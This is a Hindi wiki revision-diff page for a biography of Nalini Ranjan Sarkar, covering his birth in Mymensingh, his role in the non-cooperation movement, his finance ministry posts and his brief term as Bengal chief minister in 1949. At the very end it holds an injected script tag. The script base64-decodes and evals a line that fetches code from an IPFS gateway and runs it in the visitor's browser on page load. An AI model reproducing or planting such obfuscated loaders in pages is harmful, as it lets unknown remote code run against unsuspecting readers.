नलिनी रंजन सरकार: Difference between revisions
[unchecked revision] | [unchecked revision] |
कविता बघेल (talk | contribs) No edit summary |
कविता बघेल (talk | contribs) No edit summary |
||
Line 4: | Line 4: | ||
|पूरा नाम=नलिनी रंजन सरकार | |पूरा नाम=नलिनी रंजन सरकार | ||
|अन्य नाम= | |अन्य नाम= | ||
|जन्म= | |जन्म=[[1882]] | ||
|जन्म भूमि=मैमनसिंह ज़िला | |जन्म भूमि=मैमनसिंह ज़िला | ||
|मृत्यु=[[1953]] | |मृत्यु=[[25 जनवरी]], [[1953]] | ||
|मृत्यु स्थान= | |मृत्यु स्थान= | ||
|मृत्यु कारण= | |मृत्यु कारण= | ||
Line 33: | Line 33: | ||
|अद्यतन={{अद्यतन|17:06, 27 मई 2017 (IST)}} | |अद्यतन={{अद्यतन|17:06, 27 मई 2017 (IST)}} | ||
}} | }} | ||
'''नलिनी रंजन सरकार''' ([[अंग्रेज़ी]]: ''Nalini Ranjan Sarkar'', जन्म: [[ | '''नलिनी रंजन सरकार''' ([[अंग्रेज़ी]]: ''Nalini Ranjan Sarkar'', जन्म: [[1882]]; मृत्यु: [[25 जनवरी]], [[1953]]) भारतीय व्यापारी, उद्योगपति, अर्थशास्त्री और सार्वजनिक नेता थे। वह [[1949]] में कुछ समय के लिये [[बंगाल]] के [[मुख्यमंत्री]] भी बने थे। | ||
==परिचय== | ==परिचय== | ||
नलिनी रंजन सरकार का जन्म | नलिनी रंजन सरकार का जन्म 1882 ई. के मैमनसिंह ज़िला में (अब [[बंगला देश]] में) हुआ था। वह एक मध्यवर्गीय [[कायस्थ]] परिवार में पैदा हुए थे। उन्होंने ब्रिटिश कालीन भारत के ढाका में पोगोस स्कूल से [[1902]] में प्रवेश परीक्षा उत्तीर्ण की। इसके बाद, ढाका के जगन्नाथ कॉलेज में प्रवेश लिया। फिर [[कलकत्ता विश्वविद्यालय]] के सिटी कॉलेज में प्रवेश लिया, लेकिन वित्तीय कारणों से उनकी पढ़ाई पूरी न हो सकी। अपने व्यवसाय के सिलसिले में वे अनेक देशों में गए, उद्योग सगंठनों का प्रतिनिधित्व किया। शिक्षा संस्थाओं से भी वे संबद्ध थे। कुछ समय तक वे [[दिल्ली विश्वविद्यालय]] के प्रो-चांसलर भी रहे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=|url=419}}</ref> | ||
==क्रांतिकारी गतिविधियाँ== | |||
नलिनी रंजन सरकार का [[सुरेंद्रनाथ बनर्जी]], [[गाँधी जी]], [[चित्तरंजन दास|सी. आर. दास]], [[मोतीलाल नेहरू]] आदि से निकट का सम्पर्क था। उन्होंने [[बंग भंग]] विरोधी आंदोलन और [[1920]] के [[असहयोग आंदोलन]] में भाग लिया। [[स्वराज पार्टी]] के टिकट पर वे बंगाल कौंसिल के सदस्य चुने गए। उनकी गणना [[बंगाल]] के पाँच प्रमुख कांग्रेस जनों में होती थी। | |||
==राजनीतिक जीवन== | ==राजनीतिक जीवन== | ||
नलिनी रंजन सरकार | नलिनी रंजन सरकार ने [[1937]] में फ़ज़लुल हक़ के साथ 'कृषक प्रजा पार्टी' बनाई और उनके 'मंत्रिमंडल में वित्त मंत्री बने। [[1941]] में उन्हें [[वाइसराय]] की कार्यकारिणी का सदस्य नियुक्त किया गया। [[1943]] में जब गाँधी जी को अनशन के समय जेल से रिहा नहीं किया गया तो नलिनी रंजन सरकार ने वाइसराय की कार्यकारिणी से इस्तीफ़ा दे दिया। वे फिर कांग्रेस में सम्मिलित होकर [[बिधान चंद्र राय |डॉ. वी. सी. राय]] के मंत्रिमंडल में वित्त मंत्री बन गए। [[1949]] में कुछ समय तक वे बंगाल के [[मुख्यमंत्री]] भी रहे। वे देश के तीव्र औद्यौगीकरण के प्रबल समर्थक थे। बीमा क्षेत्र के सहित अनेक औद्यौगिक गतिविधियों को उन्होंने आगे बढ़ाया। | ||
==निधन== | ==निधन== | ||
नलिनी रंजन सरकार का निधन [[1953]] में हुआ था। | नलिनी रंजन सरकार का निधन [[25 जनवरी]], [[1953]] में हुआ था। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} |
Revision as of 07:45, 28 May 2017
नलिनी रंजन सरकार
| |
पूरा नाम | नलिनी रंजन सरकार |
जन्म | 1882 |
जन्म भूमि | मैमनसिंह ज़िला |
मृत्यु | 25 जनवरी, 1953 |
नागरिकता | भारतीय |
धर्म | हिंदू |
आंदोलन | बंग भंग और असहयोग आंदोलन |
अन्य जानकारी | नलिनी रंजन सरकार का सुरेंद्रनाथ बनर्जी, गाँधी जी, सी. आर. दास, मोतीलाल नेहरू आदि से निकट का सम्पर्क था। |
अद्यतन | 17:06, 27 मई 2017 (IST)
|
नलिनी रंजन सरकार (अंग्रेज़ी: Nalini Ranjan Sarkar, जन्म: 1882; मृत्यु: 25 जनवरी, 1953) भारतीय व्यापारी, उद्योगपति, अर्थशास्त्री और सार्वजनिक नेता थे। वह 1949 में कुछ समय के लिये बंगाल के मुख्यमंत्री भी बने थे।
परिचय
नलिनी रंजन सरकार का जन्म 1882 ई. के मैमनसिंह ज़िला में (अब बंगला देश में) हुआ था। वह एक मध्यवर्गीय कायस्थ परिवार में पैदा हुए थे। उन्होंने ब्रिटिश कालीन भारत के ढाका में पोगोस स्कूल से 1902 में प्रवेश परीक्षा उत्तीर्ण की। इसके बाद, ढाका के जगन्नाथ कॉलेज में प्रवेश लिया। फिर कलकत्ता विश्वविद्यालय के सिटी कॉलेज में प्रवेश लिया, लेकिन वित्तीय कारणों से उनकी पढ़ाई पूरी न हो सकी। अपने व्यवसाय के सिलसिले में वे अनेक देशों में गए, उद्योग सगंठनों का प्रतिनिधित्व किया। शिक्षा संस्थाओं से भी वे संबद्ध थे। कुछ समय तक वे दिल्ली विश्वविद्यालय के प्रो-चांसलर भी रहे।[1]
क्रांतिकारी गतिविधियाँ
नलिनी रंजन सरकार का सुरेंद्रनाथ बनर्जी, गाँधी जी, सी. आर. दास, मोतीलाल नेहरू आदि से निकट का सम्पर्क था। उन्होंने बंग भंग विरोधी आंदोलन और 1920 के असहयोग आंदोलन में भाग लिया। स्वराज पार्टी के टिकट पर वे बंगाल कौंसिल के सदस्य चुने गए। उनकी गणना बंगाल के पाँच प्रमुख कांग्रेस जनों में होती थी।
राजनीतिक जीवन
नलिनी रंजन सरकार ने 1937 में फ़ज़लुल हक़ के साथ 'कृषक प्रजा पार्टी' बनाई और उनके 'मंत्रिमंडल में वित्त मंत्री बने। 1941 में उन्हें वाइसराय की कार्यकारिणी का सदस्य नियुक्त किया गया। 1943 में जब गाँधी जी को अनशन के समय जेल से रिहा नहीं किया गया तो नलिनी रंजन सरकार ने वाइसराय की कार्यकारिणी से इस्तीफ़ा दे दिया। वे फिर कांग्रेस में सम्मिलित होकर डॉ. वी. सी. राय के मंत्रिमंडल में वित्त मंत्री बन गए। 1949 में कुछ समय तक वे बंगाल के मुख्यमंत्री भी रहे। वे देश के तीव्र औद्यौगीकरण के प्रबल समर्थक थे। बीमा क्षेत्र के सहित अनेक औद्यौगिक गतिविधियों को उन्होंने आगे बढ़ाया।
निधन
नलिनी रंजन सरकार का निधन 25 जनवरी, 1953 में हुआ था।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |लिंक:- [419]
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>